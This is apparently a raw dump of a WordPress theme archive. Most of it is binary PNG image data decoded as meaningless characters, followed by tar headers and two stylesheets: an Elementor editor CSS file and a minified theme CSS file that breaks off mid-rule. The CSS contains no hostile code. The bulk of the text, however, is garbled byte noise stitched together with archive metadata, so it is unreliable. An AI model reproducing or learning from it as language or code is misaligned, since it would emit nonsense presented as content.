B/0{ui-a4ty.;~Ȥ%bN"ُT;EEKm@S+n:IjS+%cVrEl Ǩ~׭QB#ջ )'hQHF?Pdԁ;J"JP %ڏJ 76WD,w+{gX?1d6tH$YT&&^RfQy F6{qvs&\|bwsk^"h^M!tZ*J$/Ŋ%x"S;QdC΃9I^y*-ȉ꺄MǰϹlU iwB`%hp$TaZqr`P(*6ɋ +&;!3i0\l`⣻"蘌ł, AcvaV|G%&4HiL꟧g0X\QxOpW=&H+Wߞ^6դO`9)%#h" '%"*(U$O7-a9^c"! ɁXY^2pp¹HRH$4zM#) EtTnC@K\IB9+\MP$ A#z/68A[^"z*KDz܆%ɳ<{́,˱M_a` mX1]]͕yow =ngyC:\YzDQrWk)6?ÛfJX5vu))}a=V$4N8DZ&NR0 Ku(ɐРVX,GbpʹypnܽAɭdg1B;ѕ> m6.ẔI#` c rsposTJ-eR({``TlZ Hj)VT饹zE3, uIo4 NhkDSUck%%EˍesZ9y'd#+CL ݠ[hjZɮl;t\RȫVxِۺ0e9vh ͨAL aI9p7a)8+'`xx]'aƈ4˾1 j03#jkMcJxERRR@:]_3)jxR"_JI'c:v~$=C e!ZFdV 떗iMډ^9 #5 *EW8 qDW4PUC\:C8pBQM4=҂ѓÂ_cleoG.UG~I v4c-zJeb"J~LY2;G/b^u a륥t%]/x\6h!`)B_P1?V;++rΪe43:Xe*A*-+,кM>]٥WQ]B; L76kbs'üHz,5')s lYŖBzU&c#U2P2*d$1U#V4&-pttQ,1P$$sE/g>R YUT;+Vj*ekq5TMRӑj9+Wro0U78gJU` W[-ݬCaL9Gِܲ=z1)I(g?q+6o\uJlgE 82²c݁7zI9%QYw%cɝowaFDX77|9eTESVWr.8Y38 2AJ jd% WO#luUM ):IWuwzp%3S\7Z8EpMg)W1)`b0tԥѕ5m6m" 68U;^AǟW"J2[}AZODB! +_є Zr^CuFLhG.Bj6K!@ƺzUuE΄ + )kok|՜hrxlK@73*Zql]lMt$Io3BDW URryH.i|gJ3N :Uj_}l,W>uU[z䥙dbyYAqfh矘č,KЕ/Uh*v&*x%PM7j4 >}fXlTRؠիXWN+-wW _Ͱ~0eyS%iO$J()4Gz016Y[M܎Z r&nPG" aoԥ3veC.jʕ+Ԟ9}yv)+~WUKǟJgrGЍ3M($YBU)keͰ\rIG.ĠF_b,_=rcB"}\k|%tm`iԌ-S#_}:JY ɱ:{n" BVY*U|~m mzt\q6AyXK?\o֗uP|j&;r3w)VM&H(keΊД\9׳4tD"]Vc_)9q|cԷ5j 0ቮ"t$W:ǔ+fSjoX [N2q² i,7B+Ua)0}+`Z CFP|蠪!J+[k 6uA|_(oļD᥋Źd\5'x{}#CƢ`ʀ_j= 5t#z /A|gRu+,\-ODŽXr ) Btmյ ZNZ SEXd8 k>)vUPRa3,KYUuhlg&Y6$f%&sUc,ȭ;萏_d'Yp`f>h/jl6 J9YKŧ=l,(~ϼ<7,F[g)߯[S +gkޚV̒覯h @U[8W&<Ԛ>K,faa,q+^88 L}0RȜQca٢ntEp OXX!VNSRPWUa;>]񕅚CJV{]\y5+w'iݜbEAOߵt+0x^DXIcfDf"P2S]9ak9U[D+TVꞻps城8[YLUΒ1"؃) )Nh_($ACw sXeUjy1!#"\UߗLFz}8(cdqa.L10šnY R7_L$QDph@XĺyhFd/%Yg_WW RPe2r2 \5nJb3CY_hw06{n:%0B ?ǤXFQШ5Ki_*E&0aR-}عlɢ!HB$Rj,YWb,NA|HtȈI/-~ K%3j>tZkƲA.ƨj2D˫"4:E-i,JY9Uw2$CB,$T-v|@R kڲ  zƀ2~_#a_ivzonT ~:R Dh25`o;Sgy2']/ƽ8P7ڍ< VOc8ʀ `MT%MnXz۔ld2P<JXܼnT1S)i1Vc`Ļ_訰zhQ +GV|ͻ3<7H ^ac%R-|ڎ(fZP_y=]XA,&hze´++7(iP|H̀>*,~u^{ C๬y2K֐++Y=mJudƵS=Țn:l89-*&\U_hprR]FH8.,5AvctV aQª~5PUO&Ϗ?uV_xu^[J>J8W6R*"J*;fh b9rO+9gĔ>J̚X_I>+iVbrDhVa`=c7޴6MaQʕ KҸFCoE+DĩH^NOeu-0R2p P:k:qΥX&s :jeFa0 TۇG~ r;~%B7$WYn{V _nD&)…%xa%/-=b駝5ܕk; ezjg1 A @%gg m|.Yˋl!a+++`]}b+P_9 \|MU|usL5zVxdXWaJÕLQ}y:h\h-pBM-ƞknynnQWx4j,5wRojk?Jh+XlLl|Pњ3{X y_&ΔRx])EIiବTWX|ݸrW +Ϸ3q"Wa|0:27ӧ&yD+Bw?%'Xw>?TQ.jMuѤ5MdQymڦ1,3$ 6qZmbjѐXL]A~SPi5M 9w.w3әiyI?3_XWA)TFBkM?Xhlxwx%- 'r1ǡf %VP.7X{KOQl4UH.+?`Z OJMtM nʒ1\4南 y ~1ݞ{ẓb3SVl-&vv3V#z.Z};ؙXkf26Z/V췴4լb`5շ' Hm/D#N8Za /]fQ`t3!˔7٠H 4̩cwX*<, +oL\`g32(4k#Y}2zYvy `YbyA,bt.Q6|; -![Mk\l/ 6Q2z2 ˩R`=w/vZw[sY.bkU2O'XhvscIa]eG'2=J biB1 ù0kTl=uy2z_W&_Χ>)et.EzzRk@T"ÑJ^v57h5UBSj&"xUka- :67DHVz0`kD %Cl\z |,\O膶RH VXBB*,Nc4Պn9n|(jEv b޳~$u`bbIդ]# H΋ !+l$Z50 +,93kr n؂XݧZsꭝ[Pnaf, ])Ō~._Ǡgnv-M>D8%ˈ ZaQ0MH dS1"KV>Fjs%O=  +wz& ,1*;yM?_įƶ3HPΟ5lqPwT6ڼhf.vX>` з_C, ˏܢ.MCHrÙXW ;C=< 4mYXb4ہ%Ker=!VzI"3ΔۄB"DPww$uǗ7W}*P[x՝z)dN7[.Ba$ GCJ U&Ѫz =Y(ǭ5/+f]4o=,=,<)#|6 j7|@BVq%B{.K=1C5&wX.҂+#\kay#rV SJ,e f-[de57n* !V,u ZӊD~iD5CVb,Ih|@e!VDF-$mk8kž,#.V+#}-mw_4779"VD`0Bh>``quh_|ʘX*X*wrx||y ! !T^DQ/Qj~fu}~Vnh%' Js/V>r +^&#Q6GHp Q;:vL#"WaIq+z&;6x=ikrT@!c_YBoIJ"-~Ҿy|;ጣ?-܏;Xi9~J=P3hxJ!+ K5=]5*IEq,'G=e'bt!""9kݠDVKl+ѨwW521KbRr4'+wK`YM" b(k)(,tUY,iHNSTy١K,U9ĂW|=B;=c RM3XXu- ;qT^NhYOi. ģ0is(T2@9H-n+ʊx)v#"xIp+ŦP($9K+_;KrZe&(Q"9dsRhM"+42QƨȸjRNt*3qqq%k=g]4ѓ낁cs^^YL뿠0*kV}C)pO[g'TT֣Zj3,SsKIurGQ,^|ó\D9{zֵX`tH2:G= k+X*xeA4>^iVL*͌>`4 @+jk(``PXs:jU*%i?}7 >S#H?ǧLs. ? KU:C,Oo8 O{WXd3B::'byKwN^}pm`tlrAȖ2a Tc3jKh'NyF \:Cwtx58bjVm!V6.ZX*]oAŢL,ʨZkj^OxJV` bj  P l&UjycK?]Xyb:+a8RD9,5"hU]t5C746.䓵8Ieed;%ehg9U K+oGb9k=X—cكޭÃXhJH` lK9T`qO񩌨яC'WZ-~7ss0ݑR\%uB" D/Z==Ē`iԆBvrnMݚ#jGF@~x0QR oFWC$hEHk HBnϯV}g0^ˈu& GhYͪ]4~X>'723R]W{> Ib GTyr 7f!=[mڣ%"}66PpÊ P 5fɗ N1'Xۋiִijb@.iuҎ@RɞIJ]~L${ a a?g+?,sz||s`14OtWKr9>:x92&zXl14ERdWQ$W٬x4ֈ«I9BI k6R8zB1jH08|\N  2ІKx_.kiQQ,E*\Z^|\!PxƪrUu% nqTcִvP+c@Gk]gl/Fyoz%WEA,(٣o|_0,0kNOu`-'Ma8ݳҧ}=9So yX5ԮryS Z<^=7M#ME'*jU/ByЧE$$%yPH+X$ELMTL1Z=-[UԻ(g;̞=;MNc5ko j"aǥEW"}v&&A*5LE6"N"=Y#E7&Xvc;$P)`uX7IU@L=~Fw \ hqf ,"K,bb-zli'wR4 Q+ W~~ЮeOC_aLiI5EKfU(KޡX^Zw󀟲|._~ɝIk`8e@锫5vQGvR^q(`I^s -޻]+Sj.Y+#,!܎Dn3t(ģ>Aj4_=<:סLSEA`Ϋxp 1N4_@ /B V4!D7^CtƾRCLi#pe&7k4 ,!R XH&>Ww݉JEq %<+< ]O|+W t疍EB\<I-|o&6ffShc' )M+O ]CnX +)b"# `BJPVk)Ekb=/,EŪ(5*̄mm`w~Q7鮖Wbab}h|{1KcT\z2q_2xÇO2| oN={x}|ǹw-(?BX@OY(u`u*dfj͗wjEIo/upPtdS!9X٪NWfL> v(+L^V*4wdXYCtV ( &as'gHq5"M iqޥr }2|^$0 1tASXJ`X |1Oc/[Èt7͹j`~)W?Ѽ`9FNFD&X^^ d ܝoo HPC+4eIXTIgCkA['pa"Bh$. 7 1}jA'.Huӥ%'?Y afEa.A!yGEsi%0qqEB/0L 2t6PbB7B,O-`E{]fy/ґa0 3<% 6TՊ=Ȏ:2O. 8pu4,E+=xZtyuw.cZwY xq{]HGnYX"xKidѤπ%+ 3뇄BXce"R c+"%6Zw!苃p8Wcdi:Cy(ҺJVIP(1`SdJjX) ^ZcoY7HYSuJ3fض E;}uk\M2pSd(di b!M,d+4ݮquٝ;D wswdIPn?P!'gT3uWR:O< kp@YRZW7NHѝ;TBͫ'V:Iv{5׶6#/ZME,4*dY ˶YdjQ}Ԛ{45{:MBǶ,VED ("3!k<"ǏNPu/Р u&nΊFj,9q׭-`-PE z@XXHN|CC581ТX7:rl17婵 x.+W._<4hiօ7LC,p%V[ʫH~TpB`M\}9+p׏E~줃Eh$QǖQJpGk{k J`+`dYJU-NB+%+bcW31TҢRWKl,(t88ZQO-h@r%uG2+ߧu(SƞX`ĞuErw]XTVrwaυlڲ8cE$?KU:KȌR^rD:& JGvtJ5cGW'gRgJlk8S馕eR#&Z䋊{?$|q8,7G`-iA,A1ɣ\_%J7i%H߯CK71;\b]Uθye^A+敮p |=zd ^۲ ]L=DBnnn]8yW)3X&̱Pu4 kH =Z0WYm&Xb! "^ 2ywҌ3R)\qZIᕬIBҼa fq b<`J`:t}+d;Y'O4֨a3G24d"H£_sAlN/ܗ9VpVm:L,np,5mlVHni>Ll+Y#!;]{im3QYm%-,+k 19yE_ؘ\{-L|C∫@/$2Ȓ4ca鿰K+^\ZPFu4+V+`z2~}qe|$C+KiS("Ш@щyvW%VX~cdnWQ6Frjk#=-fS=y<aqvk5``嵵G[<ld X1:;3nϤmT$])dccrfJX@}˜+<" /,+=R5t5beZD*b2f N{:`Zղ˫~Q%r`|D qeSFL}0k+TUtOqèڷZ/1\pꜜ8Wӈwca!W? %E%\m }@ӕ_ư8D'ra2֨^aا7" YʘWˉd3}C+$ HJŲdUfq; DsL^V&W CkA Z%HJR"jt(aթ(9 !8,#'D&FX#4SCXr5O/ApXp2K W"ǫv'ŋ;rX@tV WOVyW dMvi76MJ:T-XE>:6qr`HU{`N-RyXhĒЉB]jҟ Ix̘5.^^}1K^MwXOto^y#<\:m[# ݸ W]-5ʥr]&Ӊ SxWT0DBL68(XL-0K95ܸVW;k*Ȯ`紝X/ۗUKY@dHybBAx,F WL" ib a} ^.\!7=Ȓ-^wj3!7]Ѳ tg:8Lp0OO RFӄSLROXURAG+;lOd:WT*ak`aQ#XRYv ۂ\X[̐S[XTTDgańG+y.-+J$&nb婒EPq, ֥e; 85 w n]#WXp<`i\`$q^gD9dSHwԉWRFo+#%Jh^- dcŎ=vyf덚]MrX\[s,Wj% Kܶzmɳ!ai]XJ[vZT{snȻaVOcEs.\#뗈4/+VA+i껯'XXnvF U{,Qyí WyG+Qa׉ot:]x\wN/m["8jI:!VtsiWWcIz}V J% va%lɉU=ޭh ^#+ٮnDhZ0rk`ݡpeL,.h ëw;d=ʓW.M,Ȳa!\@z siP`͐nVTa,BXLL7@f^t:pX,a,v_%O/M:QeY0ņ^g,~' HI3!,!>6ge)disW?*sn0f>֘_QiN8;nx^œvn8֪v_Y ٪UhU*lIlU%` ,ѣ ۨXP0v{ xRǾ'և+Q].(V]dc3qjcp 3[US` bRL!;}sKXbp١h0O,;KEl~KM3 f(dcbb%˨N#V_YXXLWCwBcK8W4#i3~>{Y3?fE'94NzT +ۉǫBwiBXww -S X`U!::p Uϸ&)ZDV4lEQf+*1;Tq/RfRs@wfjqw+([?=5 )9~l?e+LJĮP(j}{^﬿PV%RF 10&֭[9T:U(in_'Z19Vk67f('=`UAVa(c_R`ko\K XY2l;!zM+N#+BzAG;MG+}ڣct7JW3]-{A@զɎ&*宪!K Q(pjn}e4:!*HbwHz'Hd&cWO:*Q)'!Jg6X0v_oFmBRӏ4ڋ? wIΨ4S  ,:$ov8V{Xeho?/7_0È^\bEB2٧dhDZ^ ָO' 6[omm6IXliXsAx; }`XUN%9W K Hy@ -R= U>yՒ XW"UuFU3x%H?C1hoR.(+7kߺEF:v]ow:j2|$wzFC` 6s6Ij5U]Oz_ⵕ*M٩~bjrrT9DϛG9}3£ Xl2|XjDyt<|mf:ih%=${<1 zj:0X*q5H$L%)U# N.dބX$aMV"kh**tlڦbLy~z2Z+Ů% \ bɎLw$BwɡY%Pe 2ߝ=- WXUa_+Z,ITV$jYlDffLU}|XXB M*7MLtSBh$;"cӍ uýrҙ4w,EL Qmёu-ˁX, eڡPLuiJo#SuL-`+`Uffo+͐裙‘yWK 8\ʥ:$o,焘p0;N@ej%EZcq+]?2oE5y8d"it7B6ɫF"20||`O`rde Ek5L-&tKf[5:Í}lhEB.9k)>y+dzo~&tk X$nDW 7){a w?!tPH˶U8d0ewx9Эנy?IB; {.yEHf X>f{]b(v4`)W,1/Xx% S7x ְ:6&&ұ*qj5DKfAb8kAeX99P,?.gI{X$ U3bRp#7_g>;h{X`u4[xܼj׌vj 8YySY03wRX{/LLUUq$$SrogzX~6~~ի!vWrN-1FT᧾V,u;As2é."WA&˰rL7[f"Ur3ϐ{0︒>I\rɫr oMQǧӻ!ԫ2k+EB$9;bgi@1 dEB\k›fdRXzdvũZ$ћ^IM[\ l~JiEh͹oH @?g <& @qh~qN+_25ǫa}(bY],饊z$ wz=ln&s~b?~^UqP"A|+ o Uxֆd,h"!~<N U,~Bߧ 9QrԚ.!ջ1j8I){d'G(lS0y"5"nWҵ?v{46q|ӣ޵I[*'G$t4 ܛD*h:S:=!Rm'=Uq+f/i6bm {濺0tg̶9!}ا[*X`' >ӫFuLY`JU+Kg+L6s YnF`?'8~_ _նx%sjt7fOd-|֓<)U;鞀u<>Ez}ߊ:ut-=~EFEdMj=O#@kmBMi s[ݏfA|LꬖrԺiDMڛ-w筷ά?鳨0ۘe3ހdUyGf(Y䅳Fy `vڎץcz1O;DnЭu&z}>"7j~\3WDkޡ~ }tx)8\7.&~<,kw܌F{Kx&sgQI 4&iGM֝˩{Y{:)!Ĕ*r1dwLݭ]|Lw#X~X<μPq**쓞E*XD,<09O5o1ߊCV\,#MoW*Hz"4>C=NE`ʮ,кob )L4DؐX2$^z C8v[?+1fQZd-]/*]A5MNvy!ę){_|Kn-MڤХ|A 8M.7i ۻpI`ds)&x(F?w{x~!`ճeoZ"$Enګ23tKo⑳?k}7hchnfrI ƖE'CM(DKKJ>j|1P(+:{|4AqQo544t@kBN$"trw4'o%}BȞSdX¤ɴށUB6aho5CUEչ<",L 2\qbMgX.\E% [{O @ߞs$ʑkɚDdFG?P`%\Tjl(4bo'4mسqh&7b(z7UN3t !{nZ.nO {^4~z]Mq:#g9c`o2mܻ w`r`"9Hqeͭk}w{OmKS;vJ5 U"VsV - -pSXYV)ˈ"K'`'^)TqDt?%bW<!X? ,c0r@a()DmmVXYm2/4 C6ʉ9dAidĀcI*e_FG+S&[cRK@-h7`L/dʚݙ][;Efg:w&՜CK&eo[fm%q^hBjBWm$p o_dКVNugY0w3 h ё4NMʽ4݂+3"W$={(WJ~tF%eV(k]>F]g oDnQ!ti^}6PN KͤU=^ e%Fg3~XY\hXuex.5`*]T0Vs;m;n`f` %$/DHg{x o Xun`ificd-ǎw99(\@6ek,_Kx[| Z2XX@4`%Yt&7E:TXn2x=+Z:T2,aʓ*['`e5 ֆ6czlLV`]Hۻ/`fܡ;f8`c;I%G3b!qK,& >w@woC`&ən`hQ I dbt?@u^T]`GGӇ)w5rl߃{Vq:׀_V"5cK􌸹զ%Pp7ORbEoaQT6w`Y9 X !`i5!jhnWꛎY~SNuL"W6>kR^u, %!/EkodS% /`!JuJNm`ͮ XXxȺE)LT)u ,3 ,T ,S5F/co[>^VXKm`dq4޹B q,y'ұρ?ͤc{bs5`yq8_+jOҭ1VX[X R)X67M۱ NаT`-2ͬh.[pH<ίmgL}V@)%sʾip=-ᄢ`kb;p*^u Yfb}ֳ̿Ip `!qŵZXC+I]%e>+X{ rD a7@Xr VRTy,5sΓhvfF _/n SA+TB7WX猈=OЯZ>rl}T5lG~中gK,:J0_4-9$b$&&fzυr `q0|\avbTms!}J,KɠY"V?Nw4,4ÉY<XSgF؟nw F(`nC`葦xZMKqА0*xѥ+|~ ~ZAX6,B! LRbUZ N%jDv NNмHeX_c1ԖX+|1T8IXz87q% Ye(+Y{^/LsGCDr{HG| 3l ˔UfUO ƧH?!zkMy?t7H%I^R{5ъs b-|jh G8epFQtWʼsv^{Y\LHm"XyR<;c29OAֽ(xEoQ_>S*'GX7҃9XX oOFm?wǺ @O:b,y#xx,^@<+4Q ߔ08#qL/HݸQHP\+_J? E3QuiJ(cц.QH8 Da0;nr9/Yܡv=<6PvB~`!]`"ן>޵#؍96:*pW?Z5]&ԙx8T1Is8% LwP9-_}Nh+*m*Q96=m050դp',mjWɸ\ʆ0sgTT2iLq`EV?;\M #.dY-G`lac ;/ɛLyNjѦ p_VGePUWb7 ߏSƽT\j#*,l[^8%wL}B۳~'lۨbkfzO&-ݸ{v?i%JV+yP*q@D(@tZ,Izpc/G/L'`9$LbiD707*= 5Ҥ^ބ_6tDžY$}ZziM :6.(5<;JMq zZ遃CNNN!PUMPPKh((ā8q%8C V5jEBT 1{} 6Py9q ~&k-O :#G"vs#b:coG޺M`+'5k=Y<[xBG ?L"Zip3`#ؚgA %(u ϷL$R5n16I,hS3sWUΊ"QE,,~"Cu`MQMJ8,:҄ FNiZTxWE9׮ ŔWL;:>- ڝ#<f1f CةW&Y,Dg*7(fkwX4wk~CHՎ/3<7` nɦY X\ZcXRM4\0/cGN#0)5aJ3N\o"cnx9!rQAC>|>RYp|T\{68U}EalCb7e"F! ,ڻ譴t; Wv<.MǹC;d^Ch5.p+%SxܫKut&_3op04Pm7ITGڤ0 M,B' D艙3MX #X-X xe6m11a oM. "B֌wu<XA/d23YDST#U)~i `m}X,113X/J;?yaL^+Yon4C4 /lTkͻ2ZZ0aLUF1ͭ`i_?u ׷a`{=J, +کvL{L仏^eG2Dh?E 6πuϡncGs5|n`Mt #5Gupn Egg29`y%^xG2+,9{#Vorh#7`Xx'N2>헷Ёyt1fw-]E]Ԓp}M<,s~PM JeW\vim7^)0Qm,45QXkE }{ul+"uzGI\.;azO,荁AbCޏ{JӺޥP7Vɻ ,,RN˼^͟K,Iޛ?t u\j[us@]\fC:SE%i'mo<щpgXLӼJb?ӔLWUH#ҮQX*J4B0:r] q>@[`jG~"#>i2:yJ4Sͥ{\ݑ71 ޺Dc#=saQr',=KXqJNQ޵@{k8-y`z6 O74 haO MFy9~ЯlLk%$&;SҎOSZl J8"hrQUW4rgjowR!ïqzj }[@?u^mx#cNf>rk)y]c LZE 5RX{" '  Tc\ȀzqqAN6N/@7}l&Am!¥{ g1~t49i ovh{5kA{-ׄr58IN<>v9o5$۔ wطoӧ鸏ŶjY­B;nΩAƴ!h{oN]׬CyK.| Wg&ʊa>34şVݩd-6rtɜͫ0rߎCz@9q?S23P7rRX⯈ N? 1 dߎMa +W^P"mH7_#"m]J/<ߕiٰ;=8mUUUUUUUUUUUUUUUUUUUUUUUUUUUUU=8$ \ L"Ir!IENDB`editor.css000064400000001145152377523360006562 0ustar00/** * Elementor editor styling */ .elementor-panel-menu-item-hello-settings-header { border-radius: 6px 6px 0 0; } .hello-elementor.elementor-nerd-box .elementor-nerd-box-icon { margin: 0; } .hello-elementor.elementor-nerd-box .elementor-nerd-box-message .elementor-nerd-box-title { margin: 0; margin-block-start: 24px; font-size: 16px; } .hello-elementor.elementor-nerd-box .elementor-nerd-box-message .elementor-nerd-box-message { margin: 0; margin-block-start: 12px; font-size: 11px; } .hello-elementor.elementor-nerd-box .elementor-nerd-box-link { margin: 0; margin-block-start: 24px; }theme.min.css000064400000030227152377523360007163 0ustar00@charset "UTF-8";.comments-area a,.page-content a{text-decoration:underline}.alignright{float:right;margin-left:1rem}.alignleft{float:left;margin-right:1rem}.aligncenter{clear:both;display:block;margin-left:auto;margin-right:auto}.alignwide{margin-left:-80px;margin-right:-80px}.alignfull{margin-left:calc(50% - 50vw);margin-right:calc(50% - 50vw);max-width:100vw}.alignfull,.alignfull img{width:100vw}.wp-caption{margin-block-end:1.25rem;max-width:100%}.wp-caption.alignleft{margin:5px 20px 20px 0}.wp-caption.alignright{margin:5px 0 20px 20px}.wp-caption img{display:block;margin-left:auto;margin-right:auto}.wp-caption-text{margin:0}.gallery-caption{display:block;font-size:.8125rem;line-height:1.5;margin:0;padding:.75rem}.pagination{margin:20px auto}.sticky{position:relative;display:block}.bypostauthor{font-size:inherit}.hide{display:none!important}.post-password-form p{width:100%;display:flex;align-items:flex-end}.post-password-form [type=submit]{margin-inline-start:3px}.screen-reader-text{clip:rect(1px,1px,1px,1px);height:1px;overflow:hidden;position:absolute!important;width:1px;word-wrap:normal!important}.screen-reader-text:focus{background-color:#eee;clip:auto!important;-webkit-clip-path:none;clip-path:none;color:#333;display:block;font-size:1rem;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}.site-header{display:flex;flex-wrap:wrap;justify-content:space-between;padding-block-start:1rem;padding-block-end:1rem;position:relative}.site-header .site-navigation{justify-content:flex-end}.site-header .site-branding{display:flex;flex-direction:column;justify-content:center}.site-header .header-inner{display:flex;flex-wrap:wrap;justify-content:space-between}.site-header .header-inner .custom-logo-link{display:block}.site-header .header-inner .site-branding .site-description,.site-header .header-inner .site-branding .site-title{margin:0}.site-header .header-inner .site-branding.show-logo .site-title,.site-header .header-inner .site-branding.show-title .site-logo{display:none!important}.site-header:not(.header-stacked) .header-inner .site-branding{max-width:30%}.site-header:not(.header-stacked) .header-inner .site-navigation{max-width:70%}.site-header.header-inverted .header-inner{flex-direction:row-reverse}.site-header.header-inverted .header-inner .site-branding{text-align:right}.site-header.header-inverted .header-inner .site-navigation{justify-content:start}.site-header.header-stacked .header-inner{align-items:center;flex-direction:column;text-align:center}@media (max-width:576px){.site-header .header-inner:not(.header-stacked) .site-branding{max-width:80%}}.site-footer{padding-block-start:1rem;padding-block-end:1rem;position:relative}.site-footer .footer-inner{display:flex;flex-wrap:wrap;justify-content:space-between}.site-footer .footer-inner .custom-logo-link{display:block}.site-footer .footer-inner .site-navigation{justify-content:flex-end}.site-footer .footer-inner .site-branding{display:flex;flex-direction:column;justify-content:center}.site-footer .footer-inner .site-branding .site-description,.site-footer .footer-inner .site-branding .site-title{margin:0}.site-footer .footer-inner .site-branding.show-logo .site-title,.site-footer .footer-inner .site-branding.show-title .site-logo{display:none!important}.site-footer .footer-inner .copyright{align-items:center;display:flex;justify-content:flex-end}.site-footer .footer-inner .copyright p{margin:0}.site-footer.footer-inverted .footer-inner{flex-direction:row-reverse}.site-footer.footer-inverted .footer-inner .site-branding{text-align:right}.site-footer.footer-inverted .footer-inner .site-navigation{justify-content:flex-start}.site-footer.footer-has-copyright .footer-inner .site-navigation{justify-content:center}.site-footer.footer-stacked .footer-inner{align-items:center;flex-direction:column;text-align:center}.site-footer.footer-stacked .footer-inner .site-branding h4.site-title{text-align:center}.site-footer.footer-stacked .footer-inner .site-navigation .menu{padding:0}.site-footer:not(.footer-stacked) .footer-inner .site-branding{max-width:20%}.site-footer:not(.footer-stacked) .footer-inner .site-navigation{max-width:60%}.site-footer:not(.footer-stacked) .footer-inner .copyright{max-width:20%}@media (max-width:576px){.site-footer:not(.footer-stacked) .footer-inner .copyright,.site-footer:not(.footer-stacked) .footer-inner .site-branding,.site-footer:not(.footer-stacked) .footer-inner .site-navigation{display:block;text-align:center;width:100%;max-width:none}.site-footer .footer-inner .site-navigation ul.menu{justify-content:center}.site-footer .footer-inner .site-navigation ul.menu li{display:inline-block}}.post .entry-title a{text-decoration:none}.post .wp-post-image{width:100%;max-height:500px;-o-object-fit:cover;object-fit:cover}@media (max-width:991px){.post .wp-post-image{max-height:400px}}@media (max-width:575px){.post .wp-post-image{max-height:300px}}#comments .comment-list{margin:0;padding:0;list-style:none;font-size:.9em}#comments .comment,#comments .pingback{position:relative}#comments .comment .comment-body,#comments .pingback .comment-body{display:flex;flex-direction:column;padding-block-start:30px;padding-block-end:30px;padding-inline-start:60px;padding-inline-end:0;border-block-end:1px solid #ccc}#comments .comment .avatar,#comments .pingback .avatar{position:absolute;left:0;border-radius:50%;margin-inline-end:10px}body.rtl #comments .comment .avatar,body.rtl #comments .pingback .avatar,html[dir=rtl] #comments .comment .avatar,html[dir=rtl] #comments .pingback .avatar{left:auto;right:0}#comments .comment-meta{display:flex;justify-content:space-between;margin-block-end:.9rem}#comments .comment-metadata,#comments .reply{font-size:11px;line-height:1}#comments .children{position:relative;list-style:none;margin:0;padding-inline-start:30px}#comments .children li:last-child{padding-block-end:0}#comments ol.comment-list .children:before{display:inline-block;font-size:1em;font-weight:400;line-height:100%;content:"↪";position:absolute;top:45px;left:0;width:auto}body.rtl #comments ol.comment-list .children:before,html[dir=rtl] #comments ol.comment-list .children:before{content:"↩";left:auto;right:0}@media (min-width:768px){#comments .comment-author,#comments .comment-metadata{line-height:1}}@media (max-width:767px){#comments .comment .comment-body{padding:30px 0}#comments .children{padding-inline-start:20px}#comments .comment .avatar{position:inherit;float:left}body.rtl #comments .comment .avatar,html[dir=rtl] #comments .comment .avatar{float:right}}.site-header.header-inverted .site-navigation-toggle-holder{justify-content:flex-start}.site-header.header-stacked .site-navigation-toggle-holder{justify-content:center;max-width:100%}.site-header.menu-layout-dropdown .site-navigation{display:none}.site-navigation-toggle-holder{display:flex;align-items:center;justify-content:flex-end;flex-grow:1;max-width:20%;padding:8px 15px}.site-navigation-toggle-holder .site-navigation-toggle{display:flex;align-items:center;justify-content:center;font-size:22px;padding:.25em;cursor:pointer;border:0 solid;border-radius:3px;background-color:rgba(0,0,0,.05);color:#494c4f}.site-navigation-toggle-holder.elementor-active .site-navigation-toggle i:before{content:"\e87f"}.site-navigation{grid-area:nav-menu;display:flex;align-items:center;flex-grow:1}.site-navigation ul.menu,.site-navigation ul.menu ul{list-style-type:none;padding:0}.site-navigation ul.menu{display:flex;flex-wrap:wrap}.site-navigation ul.menu li{position:relative;display:flex}.site-navigation ul.menu li a{display:block;padding:8px 15px}.site-navigation ul.menu li.menu-item-has-children{padding-inline-end:15px}.site-navigation ul.menu li.menu-item-has-children:after{display:block;content:"▾";font-size:1.5em;align-items:center;color:#666;position:absolute;right:0;top:50%;transform:translateY(-50%);text-decoration:none}.site-navigation ul.menu li.menu-item-has-children:focus-within>ul{display:block}.site-navigation ul.menu li ul{background:#fff;display:none;min-width:150px;position:absolute;z-index:2;left:0;top:100%}.site-navigation ul.menu li ul li{border-block-end:#eee 1px solid}.site-navigation ul.menu li ul li:last-child{border-block-end:none}.site-navigation ul.menu li ul li.menu-item-has-children a{flex-grow:1}.site-navigation ul.menu li ul li.menu-item-has-children:after{transform:translateY(-50%) rotate(-90deg)}.site-navigation ul.menu li ul ul{left:100%;top:0}.site-navigation ul.menu li:hover>ul{display:block}footer .site-navigation ul.menu li ul{top:auto;bottom:100%}footer .site-navigation ul.menu li ul ul{bottom:0}footer .site-navigation ul.menu a{padding:5px 15px}.site-navigation-dropdown{margin-block-start:10px;transition:max-height .3s,transform .3s;transform-origin:top;position:absolute;bottom:0;left:0;z-index:10000;width:100%}.site-navigation-toggle-holder:not(.elementor-active)+.site-navigation-dropdown{transform:scaleY(0);max-height:0}.site-navigation-toggle-holder.elementor-active+.site-navigation-dropdown{transform:scaleY(1);max-height:100vh}.site-navigation-dropdown ul{padding:0}.site-navigation-dropdown ul.menu{position:absolute;width:100%;padding:0;margin:0;background:#fff}.site-navigation-dropdown ul.menu li{display:block;width:100%;position:relative}.site-navigation-dropdown ul.menu li a{display:block;padding:20px;background:#fff;color:#55595c;box-shadow:inset 0 -1px 0 rgba(0,0,0,.1019607843)}.site-navigation-dropdown ul.menu li.current-menu-item a{color:#fff;background:#55595c}.site-navigation-dropdown ul.menu>li li{transition:max-height .3s,transform .3s;transform-origin:top;transform:scaleY(0);max-height:0}.site-navigation-dropdown ul.menu li.elementor-active>ul>li{transform:scaleY(1);max-height:100vh}@media (max-width:576px){.site-header.menu-dropdown-mobile:not(.menu-layout-dropdown) .site-navigation{display:none!important}}@media (min-width:768px){.site-header.menu-dropdown-mobile:not(.menu-layout-dropdown) .site-navigation-toggle-holder{display:none!important}}@media (min-width:576px) and (max-width:767px){.site-header.menu-dropdown-mobile:not(.menu-layout-dropdown) .site-navigation{display:none!important}}@media (min-width:992px){.site-header.menu-dropdown-tablet:not(.menu-layout-dropdown) .site-navigation-toggle-holder{display:none!important}}@media (max-width:992px){.site-header.menu-dropdown-tablet:not(.menu-layout-dropdown) .site-navigation{display:none!important}}.site-header.menu-dropdown-none:not(.menu-layout-dropdown) .site-navigation-toggle-holder{display:none!important}.page-header .entry-title,.site-footer .footer-inner,.site-footer:not(.dynamic-footer),.site-header .header-inner,.site-header:not(.dynamic-header),body:not([class*=elementor-page-]) 